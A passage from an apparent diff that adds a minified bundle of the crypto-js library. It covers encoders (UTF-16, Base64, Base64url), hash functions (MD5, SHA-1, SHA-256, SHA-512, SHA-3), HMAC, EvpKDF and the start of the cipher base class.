}, + parse: function(e) { + return h.parse(unescape(encodeURIComponent(e))) + } + }, + p = s.BufferedBlockAlgorithm = a.extend({ + reset: function() { + this._data = new c.init, this._nDataBytes = 0 + }, + _append: function(e) { + "string" == typeof e && (e = d.parse(e)), this._data.concat(e), this._nDataBytes += e.sigBytes + }, + _process: function(t) { + var r, o = this._data, + n = o.words, + i = o.sigBytes, + s = this.blockSize, + a = i / (4 * s), + u = (a = t ? e.ceil(a) : e.max((0 | a) - this._minBufferSize, 0)) * s, + l = e.min(4 * u, i); + if (u) { + for (var h = 0; h < u; h += s) this._doProcessBlock(n, h); + r = n.splice(0, u), o.sigBytes -= l + } + return new c.init(r, l) + }, + clone: function() { + var e = a.clone.call(this); + return e._data = this._data.clone(), e + }, + _minBufferSize: 0 + }); + s.Hasher = p.extend({ + cfg: a.extend(), + init: function(e) { + this.cfg = this.cfg.extend(e), this.reset() + }, + reset: function() { + p.reset.call(this), this._doReset() + }, + update: function(e) { + return this._append(e), this._process(), this + }, + finalize: function(e) { + return e && this._append(e), this._doFinalize() + }, + blockSize: 16, + _createHelper: function(e) { + return function(t, r) { + return new e.init(r).finalize(t) + } + }, + _createHmacHelper: function(e) { + return function(t, r) { + return new y.HMAC.init(e, r).finalize(t) + } + } + }); + var y = i.algo = {}; + return i + }(Math); + return e + }()), m.exports +} +var b, w = { + exports: {} +}; + +function k() { + return b || (b = 1, w.exports = function(e) { + return o = (r = e).lib, n = o.Base, i = o.WordArray, (s = r.x64 = {}).Word = n.extend({ + init: function(e, t) { + this.high = e, this.low = t + } + }), s.WordArray = n.extend({ + init: function(e, r) { + e = this.words = e || [], this.sigBytes = r != t ? r : 8 * e.length + }, + toX32: function() { + for (var e = this.words, t = e.length, r = [], o = 0; o < t; o++) { + var n = e[o]; + r.push(n.high), r.push(n.low) + } + return i.create(r, this.sigBytes) + }, + clone: function() { + for (var e = n.clone.call(this), t = e.words = this.words.slice(0), r = t.length, o = 0; o < r; o++) t[o] = t[o].clone(); + return e + } + }), e; + var t, r, o, n, i, s + }(v())), w.exports +} +var _, x = { + exports: {} +}; + +function S() { + return _ || (_ = 1, x.exports = function(e) { + return function() { + if ("function" == typeof ArrayBuffer) { + var t = e.lib.WordArray, + r = t.init, + o = t.init = function(e) { + if (e instanceof ArrayBuffer && (e = new Uint8Array(e)), (e instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && e instanceof Uint8ClampedArray || e instanceof Int16Array || e instanceof Uint16Array || e instanceof Int32Array || e instanceof Uint32Array || e instanceof Float32Array || e instanceof Float64Array) && (e = new Uint8Array(e.buffer, e.byteOffset, e.byteLength)), e instanceof Uint8Array) { + for (var t = e.byteLength, o = [], n = 0; n < t; n++) o[n >>> 2] |= e[n] << 24 - n % 4 * 8; + r.call(this, o, t) + } else r.apply(this, arguments) + }; + o.prototype = t + } + }(), e.lib.WordArray + }(v())), x.exports +} +var B, A = { + exports: {} +}; + +function T() { + return B || (B = 1, A.exports = function(e) { + return function() { + var t = e, + r = t.lib.WordArray, + o = t.enc; + + function n(e) { + return e << 8 & 4278255360 | e >>> 8 & 16711935 + } + o.Utf16 = o.Utf16BE = { + stringify: function(e) { + for (var t = e.words, r = e.sigBytes, o = [], n = 0; n < r; n += 2) { + var i = t[n >>> 2] >>> 16 - n % 4 * 8 & 65535; + o.push(String.fromCharCode(i)) + } + return o.join("") + }, + parse: function(e) { + for (var t = e.length, o = [], n = 0; n < t; n++) o[n >>> 1] |= e.charCodeAt(n) << 16 - n % 2 * 16; + return r.create(o, 2 * t) + } + }, o.Utf16LE = { + stringify: function(e) { + for (var t = e.words, r = e.sigBytes, o = [], i = 0; i < r; i += 2) { + var s = n(t[i >>> 2] >>> 16 - i % 4 * 8 & 65535); + o.push(String.fromCharCode(s)) + } + return o.join("") + }, + parse: function(e) { + for (var t = e.length, o = [], i = 0; i < t; i++) o[i >>> 1] |= n(e.charCodeAt(i) << 16 - i % 2 * 16); + return r.create(o, 2 * t) + } + } + }(), e.enc.Utf16 + }(v())), A.exports +} +var C, E = { + exports: {} +}; + +function $() { + return C || (C = 1, E.exports = function(e) { + return function() { + var t = e, + r = t.lib.WordArray; + + function o(e, t, o) { + for (var n = [], i = 0, s = 0; s < t; s++) + if (s % 4) { + var a = o[e.charCodeAt(s - 1)] << s % 4 * 2 | o[e.charCodeAt(s)] >>> 6 - s % 4 * 2; + n[i >>> 2] |= a << 24 - i % 4 * 8, i++ + } return r.create(n, i) + } + t.enc.Base64 = { + stringify: function(e) { + var t = e.words, + r = e.sigBytes, + o = this._map; + e.clamp(); + for (var n = [], i = 0; i < r; i += 3) + for (var s = (t[i >>> 2] >>> 24 - i % 4 * 8 & 255) << 16 | (t[i + 1 >>> 2] >>> 24 - (i + 1) % 4 * 8 & 255) << 8 | t[i + 2 >>> 2] >>> 24 - (i + 2) % 4 * 8 & 255, a = 0; a < 4 && i + .75 * a < r; a++) n.push(o.charAt(s >>> 6 * (3 - a) & 63)); + var c = o.charAt(64); + if (c) + for (; n.length % 4;) n.push(c); + return n.join("") + }, + parse: function(e) { + var t = e.length, + r = this._map, + n = this._reverseMap; + if (!n) { + n = this._reverseMap = []; + for (var i = 0; i < r.length; i++) n[r.charCodeAt(i)] = i + } + var s = r.charAt(64); + if (s) { + var a = e.indexOf(s); - 1 !== a && (t = a) + } + return o(e, t, n) + }, + _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" + } + }(), e.enc.Base64 + }(v())), E.exports +} +var R, z = { + exports: {} +}; + +function D() { + return R || (R = 1, z.exports = function(e) { + return function() { + var t = e, + r = t.lib.WordArray; + + function o(e, t, o) { + for (var n = [], i = 0, s = 0; s < t; s++) + if (s % 4) { + var a = o[e.charCodeAt(s - 1)] << s % 4 * 2 | o[e.charCodeAt(s)] >>> 6 - s % 4 * 2; + n[i >>> 2] |= a << 24 - i % 4 * 8, i++ + } return r.create(n, i) + } + t.enc.Base64url = { + stringify: function(e, t) { + void 0 === t && (t = !0); + var r = e.words, + o = e.sigBytes, + n = t ? this._safe_map : this._map; + e.clamp(); + for (var i = [], s = 0; s < o; s += 3) + for (var a = (r[s >>> 2] >>> 24 - s % 4 * 8 & 255) << 16 | (r[s + 1 >>> 2] >>> 24 - (s + 1) % 4 * 8 & 255) << 8 | r[s + 2 >>> 2] >>> 24 - (s + 2) % 4 * 8 & 255, c = 0; c < 4 && s + .75 * c < o; c++) i.push(n.charAt(a >>> 6 * (3 - c) & 63)); + var u = n.charAt(64); + if (u) + for (; i.length % 4;) i.push(u); + return i.join("") + }, + parse: function(e, t) { + void 0 === t && (t = !0); + var r = e.length, + n = t ? this._safe_map : this._map, + i = this._reverseMap; + if (!i) { + i = this._reverseMap = []; + for (var s = 0; s < n.length; s++) i[n.charCodeAt(s)] = s + } + var a = n.charAt(64); + if (a) { + var c = e.indexOf(a); - 1 !== c && (r = c) + } + return o(e, r, i) + }, + _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", + _safe_map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" + } + }(), e.enc.Base64url + }(v())), z.exports +} +var H, M = { + exports: {} +}; + +function j() { + return H || (H = 1, M.exports = function(e) { + return function(t) { + var r = e, + o = r.lib, + n = o.WordArray, + i = o.Hasher, + s = r.algo, + a = []; + ! function() { + for (var e = 0; e < 64; e++) a[e] = 4294967296 * t.abs(t.sin(e + 1)) | 0 + }(); + var c = s.MD5 = i.extend({ + _doReset: function() { + this._hash = new n.init([1732584193, 4023233417, 2562383102, 271733878]) + }, + _doProcessBlock: function(e, t) { + for (var r = 0; r < 16; r++) { + var o = t + r, + n = e[o]; + e[o] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8) + } + var i = this._hash.words, + s = e[t + 0], + c = e[t + 1], + f = e[t + 2], + p = e[t + 3], + y = e[t + 4], + g = e[t + 5], + m = e[t + 6], + v = e[t + 7], + b = e[t + 8], + w = e[t + 9], + k = e[t + 10], + _ = e[t + 11], + x = e[t + 12], + S = e[t + 13], + B = e[t + 14], + A = e[t + 15], + T = i[0], + C = i[1], + E = i[2], + $ = i[3]; + T = u(T, C, E, $, s, 7, a[0]), $ = u($, T, C, E, c, 12, a[1]), E = u(E, $, T, C, f, 17, a[2]), C = u(C, E, $, T, p, 22, a[3]), T = u(T, C, E, $, y, 7, a[4]), $ = u($, T, C, E, g, 12, a[5]), E = u(E, $, T, C, m, 17, a[6]), C = u(C, E, $, T, v, 22, a[7]), T = u(T, C, E, $, b, 7, a[8]), $ = u($, T, C, E, w, 12, a[9]), E = u(E, $, T, C, k, 17, a[10]), C = u(C, E, $, T, _, 22, a[11]), T = u(T, C, E, $, x, 7, a[12]), $ = u($, T, C, E, S, 12, a[13]), E = u(E, $, T, C, B, 17, a[14]), T = l(T, C = u(C, E, $, T, A, 22, a[15]), E, $, c, 5, a[16]), $ = l($, T, C, E, m, 9, a[17]), E = l(E, $, T, C, _, 14, a[18]), C = l(C, E, $, T, s, 20, a[19]), T = l(T, C, E, $, g, 5, a[20]), $ = l($, T, C, E, k, 9, a[21]), E = l(E, $, T, C, A, 14, a[22]), C = l(C, E, $, T, y, 20, a[23]), T = l(T, C, E, $, w, 5, a[24]), $ = l($, T, C, E, B, 9, a[25]), E = l(E, $, T, C, p, 14, a[26]), C = l(C, E, $, T, b, 20, a[27]), T = l(T, C, E, $, S, 5, a[28]), $ = l($, T, C, E, f, 9, a[29]), E = l(E, $, T, C, v, 14, a[30]), T = h(T, C = l(C, E, $, T, x, 20, a[31]), E, $, g, 4, a[32]), $ = h($, T, C, E, b, 11, a[33]), E = h(E, $, T, C, _, 16, a[34]), C = h(C, E, $, T, B, 23, a[35]), T = h(T, C, E, $, c, 4, a[36]), $ = h($, T, C, E, y, 11, a[37]), E = h(E, $, T, C, v, 16, a[38]), C = h(C, E, $, T, k, 23, a[39]), T = h(T, C, E, $, S, 4, a[40]), $ = h($, T, C, E, s, 11, a[41]), E = h(E, $, T, C, p, 16, a[42]), C = h(C, E, $, T, m, 23, a[43]), T = h(T, C, E, $, w, 4, a[44]), $ = h($, T, C, E, x, 11, a[45]), E = h(E, $, T, C, A, 16, a[46]), T = d(T, C = h(C, E, $, T, f, 23, a[47]), E, $, s, 6, a[48]), $ = d($, T, C, E, v, 10, a[49]), E = d(E, $, T, C, B, 15, a[50]), C = d(C, E, $, T, g, 21, a[51]), T = d(T, C, E, $, x, 6, a[52]), $ = d($, T, C, E, p, 10, a[53]), E = d(E, $, T, C, k, 15, a[54]), C = d(C, E, $, T, c, 21, a[55]), T = d(T, C, E, $, b, 6, a[56]), $ = d($, T, C, E, A, 10, a[57]), E = d(E, $, T, C, m, 15, a[58]), C = d(C, E, $, T, S, 21, a[59]), T = d(T, C, E, $, y, 6, a[60]), $ = d($, T, C, E, _, 10, a[61]), E = d(E, $, T, C, f, 15, a[62]), C = d(C, E, $, T, w, 21, a[63]), i[0] = i[0] + T | 0, i[1] = i[1] + C | 0, i[2] = i[2] + E | 0, i[3] = i[3] + $ | 0 + }, + _doFinalize: function() { + var e = this._data, + r = e.words, + o = 8 * this._nDataBytes, + n = 8 * e.sigBytes; + r[n >>> 5] |= 128 << 24 - n % 32; + var i = t.floor(o / 4294967296), + s = o; + r[15 + (n + 64 >>> 9 << 4)] = 16711935 & (i << 8 | i >>> 24) | 4278255360 & (i << 24 | i >>> 8), r[14 + (n + 64 >>> 9 << 4)] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), e.sigBytes = 4 * (r.length + 1), this._process(); + for (var a = this._hash, c = a.words, u = 0; u < 4; u++) { + var l = c[u]; + c[u] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) + } + return a + }, + clone: function() { + var e = i.clone.call(this); + return e._hash = this._hash.clone(), e + } + }); + + function u(e, t, r, o, n, i, s) { + var a = e + (t & r | ~t & o) + n + s; + return (a << i | a >>> 32 - i) + t + } + + function l(e, t, r, o, n, i, s) { + var a = e + (t & o | r & ~o) + n + s; + return (a << i | a >>> 32 - i) + t + } + + function h(e, t, r, o, n, i, s) { + var a = e + (t ^ r ^ o) + n + s; + return (a << i | a >>> 32 - i) + t + } + + function d(e, t, r, o, n, i, s) { + var a = e + (r ^ (t | ~o)) + n + s; + return (a << i | a >>> 32 - i) + t + } + r.MD5 = i._createHelper(c), r.HmacMD5 = i._createHmacHelper(c) + }(Math), e.MD5 + }(v())), M.exports +} +var I, F = { + exports: {} +}; + +function N() { + return I || (I = 1, F.exports = function(e) { + return r = (t = e).lib, o = r.WordArray, n = r.Hasher, i = t.algo, s = [], a = i.SHA1 = n.extend({ + _doReset: function() { + this._hash = new o.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, + _doProcessBlock: function(e, t) { + for (var r = this._hash.words, o = r[0], n = r[1], i = r[2], a = r[3], c = r[4], u = 0; u < 80; u++) { + if (u < 16) s[u] = 0 | e[t + u]; + else { + var l = s[u - 3] ^ s[u - 8] ^ s[u - 14] ^ s[u - 16]; + s[u] = l << 1 | l >>> 31 + } + var h = (o << 5 | o >>> 27) + c + s[u]; + h += u < 20 ? 1518500249 + (n & i | ~n & a) : u < 40 ? 1859775393 + (n ^ i ^ a) : u < 60 ? (n & i | n & a | i & a) - 1894007588 : (n ^ i ^ a) - 899497514, c = a, a = i, i = n << 30 | n >>> 2, n = o, o = h + } + r[0] = r[0] + o | 0, r[1] = r[1] + n | 0, r[2] = r[2] + i | 0, r[3] = r[3] + a | 0, r[4] = r[4] + c | 0 + }, + _doFinalize: function() { + var e = this._data, + t = e.words, + r = 8 * this._nDataBytes, + o = 8 * e.sigBytes; + return t[o >>> 5] |= 128 << 24 - o % 32, t[14 + (o + 64 >>> 9 << 4)] = Math.floor(r / 4294967296), t[15 + (o + 64 >>> 9 << 4)] = r, e.sigBytes = 4 * t.length, this._process(), this._hash + }, + clone: function() { + var e = n.clone.call(this); + return e._hash = this._hash.clone(), e + } + }), t.SHA1 = n._createHelper(a), t.HmacSHA1 = n._createHmacHelper(a), e.SHA1; + var t, r, o, n, i, s, a + }(v())), F.exports +} +var P, O = { + exports: {} +}; + +function L() { + return P || (P = 1, O.exports = function(e) { + return function(t) { + var r = e, + o = r.lib, + n = o.WordArray, + i = o.Hasher, + s = r.algo, + a = [], + c = []; + ! function() { + function e(e) { + for (var r = t.sqrt(e), o = 2; o <= r; o++) + if (!(e % o)) return !1; + return !0 + } + + function r(e) { + return 4294967296 * (e - (0 | e)) | 0 + } + for (var o = 2, n = 0; n < 64;) e(o) && (n < 8 && (a[n] = r(t.pow(o, .5))), c[n] = r(t.pow(o, 1 / 3)), n++), o++ + }(); + var u = [], + l = s.SHA256 = i.extend({ + _doReset: function() { + this._hash = new n.init(a.slice(0)) + }, + _doProcessBlock: function(e, t) { + for (var r = this._hash.words, o = r[0], n = r[1], i = r[2], s = r[3], a = r[4], l = r[5], h = r[6], d = r[7], f = 0; f < 64; f++) { + if (f < 16) u[f] = 0 | e[t + f]; + else { + var p = u[f - 15], + y = (p << 25 | p >>> 7) ^ (p << 14 | p >>> 18) ^ p >>> 3, + g = u[f - 2], + m = (g << 15 | g >>> 17) ^ (g << 13 | g >>> 19) ^ g >>> 10; + u[f] = y + u[f - 7] + m + u[f - 16] + } + var v = o & n ^ o & i ^ n & i, + b = (o << 30 | o >>> 2) ^ (o << 19 | o >>> 13) ^ (o << 10 | o >>> 22), + w = d + ((a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25)) + (a & l ^ ~a & h) + c[f] + u[f]; + d = h, h = l, l = a, a = s + w | 0, s = i, i = n, n = o, o = w + (b + v) | 0 + } + r[0] = r[0] + o | 0, r[1] = r[1] + n | 0, r[2] = r[2] + i | 0, r[3] = r[3] + s | 0, r[4] = r[4] + a | 0, r[5] = r[5] + l | 0, r[6] = r[6] + h | 0, r[7] = r[7] + d | 0 + }, + _doFinalize: function() { + var e = this._data, + r = e.words, + o = 8 * this._nDataBytes, + n = 8 * e.sigBytes; + return r[n >>> 5] |= 128 << 24 - n % 32, r[14 + (n + 64 >>> 9 << 4)] = t.floor(o / 4294967296), r[15 + (n + 64 >>> 9 << 4)] = o, e.sigBytes = 4 * r.length, this._process(), this._hash + }, + clone: function() { + var e = i.clone.call(this); + return e._hash = this._hash.clone(), e + } + }); + r.SHA256 = i._createHelper(l), r.HmacSHA256 = i._createHmacHelper(l) + }(Math), e.SHA256 + }(v())), O.exports +} +var q, U = { + exports: {} +}; +var W, J = { + exports: {} +}; + +function X() { + return W || (W = 1, J.exports = function(e) { + return function() { + var t = e, + r = t.lib.Hasher, + o = t.x64, + n = o.Word, + i = o.WordArray, + s = t.algo; + + function a() { + return n.create.apply(n, arguments) + } + var c = [a(1116352408, 3609767458), a(1899447441, 602891725), a(3049323471, 3964484399), a(3921009573, 2173295548), a(961987163, 4081628472), a(1508970993, 3053834265), a(2453635748, 2937671579), a(2870763221, 3664609560), a(3624381080, 2734883394), a(310598401, 1164996542), a(607225278, 1323610764), a(1426881987, 3590304994), a(1925078388, 4068182383), a(2162078206, 991336113), a(2614888103, 633803317), a(3248222580, 3479774868), a(3835390401, 2666613458), a(4022224774, 944711139), a(264347078, 2341262773), a(604807628, 2007800933), a(770255983, 1495990901), a(1249150122, 1856431235), a(1555081692, 3175218132), a(1996064986, 2198950837), a(2554220882, 3999719339), a(2821834349, 766784016), a(2952996808, 2566594879), a(3210313671, 3203337956), a(3336571891, 1034457026), a(3584528711, 2466948901), a(113926993, 3758326383), a(338241895, 168717936), a(666307205, 1188179964), a(773529912, 1546045734), a(1294757372, 1522805485), a(1396182291, 2643833823), a(1695183700, 2343527390), a(1986661051, 1014477480), a(2177026350, 1206759142), a(2456956037, 344077627), a(2730485921, 1290863460), a(2820302411, 3158454273), a(3259730800, 3505952657), a(3345764771, 106217008), a(3516065817, 3606008344), a(3600352804, 1432725776), a(4094571909, 1467031594), a(275423344, 851169720), a(430227734, 3100823752), a(506948616, 1363258195), a(659060556, 3750685593), a(883997877, 3785050280), a(958139571, 3318307427), a(1322822218, 3812723403), a(1537002063, 2003034995), a(1747873779, 3602036899), a(1955562222, 1575990012), a(2024104815, 1125592928), a(2227730452, 2716904306), a(2361852424, 442776044), a(2428436474, 593698344), a(2756734187, 3733110249), a(3204031479, 2999351573), a(3329325298, 3815920427), a(3391569614, 3928383900), a(3515267271, 566280711), a(3940187606, 3454069534), a(4118630271, 4000239992), a(116418474, 1914138554), a(174292421, 2731055270), a(289380356, 3203993006), a(460393269, 320620315), a(685471733, 587496836), a(852142971, 1086792851), a(1017036298, 365543100), a(1126000580, 2618297676), a(1288033470, 3409855158), a(1501505948, 4234509866), a(1607167915, 987167468), a(1816402316, 1246189591)], + u = []; + ! function() { + for (var e = 0; e < 80; e++) u[e] = a() + }(); + var l = s.SHA512 = r.extend({ + _doReset: function() { + this._hash = new i.init([new n.init(1779033703, 4089235720), new n.init(3144134277, 2227873595), new n.init(1013904242, 4271175723), new n.init(2773480762, 1595750129), new n.init(1359893119, 2917565137), new n.init(2600822924, 725511199), new n.init(528734635, 4215389547), new n.init(1541459225, 327033209)]) + }, + _doProcessBlock: function(e, t) { + for (var r = this._hash.words, o = r[0], n = r[1], i = r[2], s = r[3], a = r[4], l = r[5], h = r[6], d = r[7], f = o.high, p = o.low, y = n.high, g = n.low, m = i.high, v = i.low, b = s.high, w = s.low, k = a.high, _ = a.low, x = l.high, S = l.low, B = h.high, A = h.low, T = d.high, C = d.low, E = f, $ = p, R = y, z = g, D = m, H = v, M = b, j = w, I = k, F = _, N = x, P = S, O = B, L = A, q = T, U = C, W = 0; W < 80; W++) { + var J, X, K = u[W]; + if (W < 16) X = K.high = 0 | e[t + 2 * W], J = K.low = 0 | e[t + 2 * W + 1]; + else { + var V = u[W - 15], + G = V.high, + Q = V.low, + Z = (G >>> 1 | Q << 31) ^ (G >>> 8 | Q << 24) ^ G >>> 7, + Y = (Q >>> 1 | G << 31) ^ (Q >>> 8 | G << 24) ^ (Q >>> 7 | G << 25), + ee = u[W - 2], + te = ee.high, + re = ee.low, + oe = (te >>> 19 | re << 13) ^ (te << 3 | re >>> 29) ^ te >>> 6, + ne = (re >>> 19 | te << 13) ^ (re << 3 | te >>> 29) ^ (re >>> 6 | te << 26), + ie = u[W - 7], + se = ie.high, + ae = ie.low, + ce = u[W - 16], + ue = ce.high, + le = ce.low; + X = (X = (X = Z + se + ((J = Y + ae) >>> 0 < Y >>> 0 ? 1 : 0)) + oe + ((J += ne) >>> 0 < ne >>> 0 ? 1 : 0)) + ue + ((J += le) >>> 0 < le >>> 0 ? 1 : 0), K.high = X, K.low = J + } + var he, de = I & N ^ ~I & O, + fe = F & P ^ ~F & L, + pe = E & R ^ E & D ^ R & D, + ye = $ & z ^ $ & H ^ z & H, + ge = (E >>> 28 | $ << 4) ^ (E << 30 | $ >>> 2) ^ (E << 25 | $ >>> 7), + me = ($ >>> 28 | E << 4) ^ ($ << 30 | E >>> 2) ^ ($ << 25 | E >>> 7), + ve = (I >>> 14 | F << 18) ^ (I >>> 18 | F << 14) ^ (I << 23 | F >>> 9), + be = (F >>> 14 | I << 18) ^ (F >>> 18 | I << 14) ^ (F << 23 | I >>> 9), + we = c[W], + ke = we.high, + _e = we.low, + xe = q + ve + ((he = U + be) >>> 0 < U >>> 0 ? 1 : 0), + Se = me + ye; + q = O, U = L, O = N, L = P, N = I, P = F, I = M + (xe = (xe = (xe = xe + de + ((he += fe) >>> 0 < fe >>> 0 ? 1 : 0)) + ke + ((he += _e) >>> 0 < _e >>> 0 ? 1 : 0)) + X + ((he += J) >>> 0 < J >>> 0 ? 1 : 0)) + ((F = j + he | 0) >>> 0 < j >>> 0 ? 1 : 0) | 0, M = D, j = H, D = R, H = z, R = E, z = $, E = xe + (ge + pe + (Se >>> 0 < me >>> 0 ? 1 : 0)) + (($ = he + Se | 0) >>> 0 < he >>> 0 ? 1 : 0) | 0 + } + p = o.low = p + $, o.high = f + E + (p >>> 0 < $ >>> 0 ? 1 : 0), g = n.low = g + z, n.high = y + R + (g >>> 0 < z >>> 0 ? 1 : 0), v = i.low = v + H, i.high = m + D + (v >>> 0 < H >>> 0 ? 1 : 0), w = s.low = w + j, s.high = b + M + (w >>> 0 < j >>> 0 ? 1 : 0), _ = a.low = _ + F, a.high = k + I + (_ >>> 0 < F >>> 0 ? 1 : 0), S = l.low = S + P, l.high = x + N + (S >>> 0 < P >>> 0 ? 1 : 0), A = h.low = A + L, h.high = B + O + (A >>> 0 < L >>> 0 ? 1 : 0), C = d.low = C + U, d.high = T + q + (C >>> 0 < U >>> 0 ? 1 : 0) + }, + _doFinalize: function() { + var e = this._data, + t = e.words, + r = 8 * this._nDataBytes, + o = 8 * e.sigBytes; + return t[o >>> 5] |= 128 << 24 - o % 32, t[30 + (o + 128 >>> 10 << 5)] = Math.floor(r / 4294967296), t[31 + (o + 128 >>> 10 << 5)] = r, e.sigBytes = 4 * t.length, this._process(), this._hash.toX32() + }, + clone: function() { + var e = r.clone.call(this); + return e._hash = this._hash.clone(), e + }, + blockSize: 32 + }); + t.SHA512 = r._createHelper(l), t.HmacSHA512 = r._createHmacHelper(l) + }(), e.SHA512 + }(v(), k())), J.exports +} +var K, V = { + exports: {} +}; +var G, Q = { + exports: {} +}; + +function Z() { + return G || (G = 1, Q.exports = function(e) { + return function(t) { + var r = e, + o = r.lib, + n = o.WordArray, + i = o.Hasher, + s = r.x64.Word, + a = r.algo, + c = [], + u = [], + l = []; + ! function() { + for (var e = 1, t = 0, r = 0; r < 24; r++) { + c[e + 5 * t] = (r + 1) * (r + 2) / 2 % 64; + var o = (2 * e + 3 * t) % 5; + e = t % 5, t = o + } + for (e = 0; e < 5; e++) + for (t = 0; t < 5; t++) u[e + 5 * t] = t + (2 * e + 3 * t) % 5 * 5; + for (var n = 1, i = 0; i < 24; i++) { + for (var a = 0, h = 0, d = 0; d < 7; d++) { + if (1 & n) { + var f = (1 << d) - 1; + f < 32 ? h ^= 1 << f : a ^= 1 << f - 32 + } + 128 & n ? n = n << 1 ^ 113 : n <<= 1 + } + l[i] = s.create(a, h) + } + }(); + var h = []; + ! function() { + for (var e = 0; e < 25; e++) h[e] = s.create() + }(); + var d = a.SHA3 = i.extend({ + cfg: i.cfg.extend({ + outputLength: 512 + }), + _doReset: function() { + for (var e = this._state = [], t = 0; t < 25; t++) e[t] = new s.init; + this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 + }, + _doProcessBlock: function(e, t) { + for (var r = this._state, o = this.blockSize / 2, n = 0; n < o; n++) { + var i = e[t + 2 * n], + s = e[t + 2 * n + 1]; + i = 16711935 & (i << 8 | i >>> 24) | 4278255360 & (i << 24 | i >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), (C = r[n]).high ^= s, C.low ^= i + } + for (var a = 0; a < 24; a++) { + for (var d = 0; d < 5; d++) { + for (var f = 0, p = 0, y = 0; y < 5; y++) f ^= (C = r[d + 5 * y]).high, p ^= C.low; + var g = h[d]; + g.high = f, g.low = p + } + for (d = 0; d < 5; d++) { + var m = h[(d + 4) % 5], + v = h[(d + 1) % 5], + b = v.high, + w = v.low; + for (f = m.high ^ (b << 1 | w >>> 31), p = m.low ^ (w << 1 | b >>> 31), y = 0; y < 5; y++)(C = r[d + 5 * y]).high ^= f, C.low ^= p + } + for (var k = 1; k < 25; k++) { + var _ = (C = r[k]).high, + x = C.low, + S = c[k]; + S < 32 ? (f = _ << S | x >>> 32 - S, p = x << S | _ >>> 32 - S) : (f = x << S - 32 | _ >>> 64 - S, p = _ << S - 32 | x >>> 64 - S); + var B = h[u[k]]; + B.high = f, B.low = p + } + var A = h[0], + T = r[0]; + for (A.high = T.high, A.low = T.low, d = 0; d < 5; d++) + for (y = 0; y < 5; y++) { + var C = r[k = d + 5 * y], + E = h[k], + $ = h[(d + 1) % 5 + 5 * y], + R = h[(d + 2) % 5 + 5 * y]; + C.high = E.high ^ ~$.high & R.high, C.low = E.low ^ ~$.low & R.low + } + C = r[0]; + var z = l[a]; + C.high ^= z.high, C.low ^= z.low + } + }, + _doFinalize: function() { + var e = this._data, + r = e.words; + this._nDataBytes; + var o = 8 * e.sigBytes, + i = 32 * this.blockSize; + r[o >>> 5] |= 1 << 24 - o % 32, r[(t.ceil((o + 1) / i) * i >>> 5) - 1] |= 128, e.sigBytes = 4 * r.length, this._process(); + for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, u = [], l = 0; l < c; l++) { + var h = s[l], + d = h.high, + f = h.low; + d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), f = 16711935 & (f << 8 | f >>> 24) | 4278255360 & (f << 24 | f >>> 8), u.push(f), u.push(d) + } + return new n.init(u, a) + }, + clone: function() { + for (var e = i.clone.call(this), t = e._state = this._state.slice(0), r = 0; r < 25; r++) t[r] = t[r].clone(); + return e + } + }); + r.SHA3 = i._createHelper(d), r.HmacSHA3 = i._createHmacHelper(d) + }(Math), e.SHA3 + }(v(), k())), Q.exports +} +var Y, ee = { + exports: {} +}; +var te, re = { + exports: {} +}; + +function oe() { + return te || (te = 1, re.exports = function(e) { + var t, r, o; + r = (t = e).lib.Base, o = t.enc.Utf8, t.algo.HMAC = r.extend({ + init: function(e, t) { + e = this._hasher = new e.init, "string" == typeof t && (t = o.parse(t)); + var r = e.blockSize, + n = 4 * r; + t.sigBytes > n && (t = e.finalize(t)), t.clamp(); + for (var i = this._oKey = t.clone(), s = this._iKey = t.clone(), a = i.words, c = s.words, u = 0; u < r; u++) a[u] ^= 1549556828, c[u] ^= 909522486; + i.sigBytes = s.sigBytes = n, this.reset() + }, + reset: function() { + var e = this._hasher; + e.reset(), e.update(this._iKey) + }, + update: function(e) { + return this._hasher.update(e), this + }, + finalize: function(e) { + var t = this._hasher, + r = t.finalize(e); + return t.reset(), t.finalize(this._oKey.clone().concat(r)) + } + }) + }(v())), re.exports +} +var ne, ie = { + exports: {} +}; +var se, ae = { + exports: {} +}; + +function ce() { + return se || (se = 1, ae.exports = function(e) { + return r = (t = e).lib, o = r.Base, n = r.WordArray, i = t.algo, s = i.MD5, a = i.EvpKDF = o.extend({ + cfg: o.extend({ + keySize: 4, + hasher: s, + iterations: 1 + }), + init: function(e) { + this.cfg = this.cfg.extend(e) + }, + compute: function(e, t) { + for (var r, o = this.cfg, i = o.hasher.create(), s = n.create(), a = s.words, c = o.keySize, u = o.iterations; a.length < c;) { + r && i.update(r), r = i.update(e).finalize(t), i.reset(); + for (var l = 1; l < u; l++) r = i.finalize(r), i.reset(); + s.concat(r) + } + return s.sigBytes = 4 * c, s + } + }), t.EvpKDF = function(e, t, r) { + return a.create(r).compute(e, t) + }, e.EvpKDF; + var t, r, o, n, i, s, a + }(v(), N(), oe())), ae.exports +} +var ue, le = { + exports: {} +}; + +function he() { + return ue || (ue = 1, le.exports = function(e) { + e.lib.Cipher || function(t) { + var r = e, + o = r.lib, + n = o.Base, + i = o.WordArray, + s = o.BufferedBlockAlgorithm, + a = r.enc; + a.Utf8; + var c = a.Base64, + u = r.algo.EvpKDF, + l = o.Cipher = s.extend({ + cfg: n.extend(), + createEncryptor: function(e, t) { + return this.create(this._ENC_XFORM_MODE, e, t) + }, + createDecryptor: function(e, t) { + return this.create(this._DEC_XFORM_MODE, e, t) + }, + init: function(e, t, r) { + this.cfg = this.cfg.extend(r), this._xformMode = e, this._key = t, this.reset() + }, + reset: function() { + s.reset.call(this), this._doReset() + }, + process: function(e) { + return this._append(e), this._process() + }, + finalize: 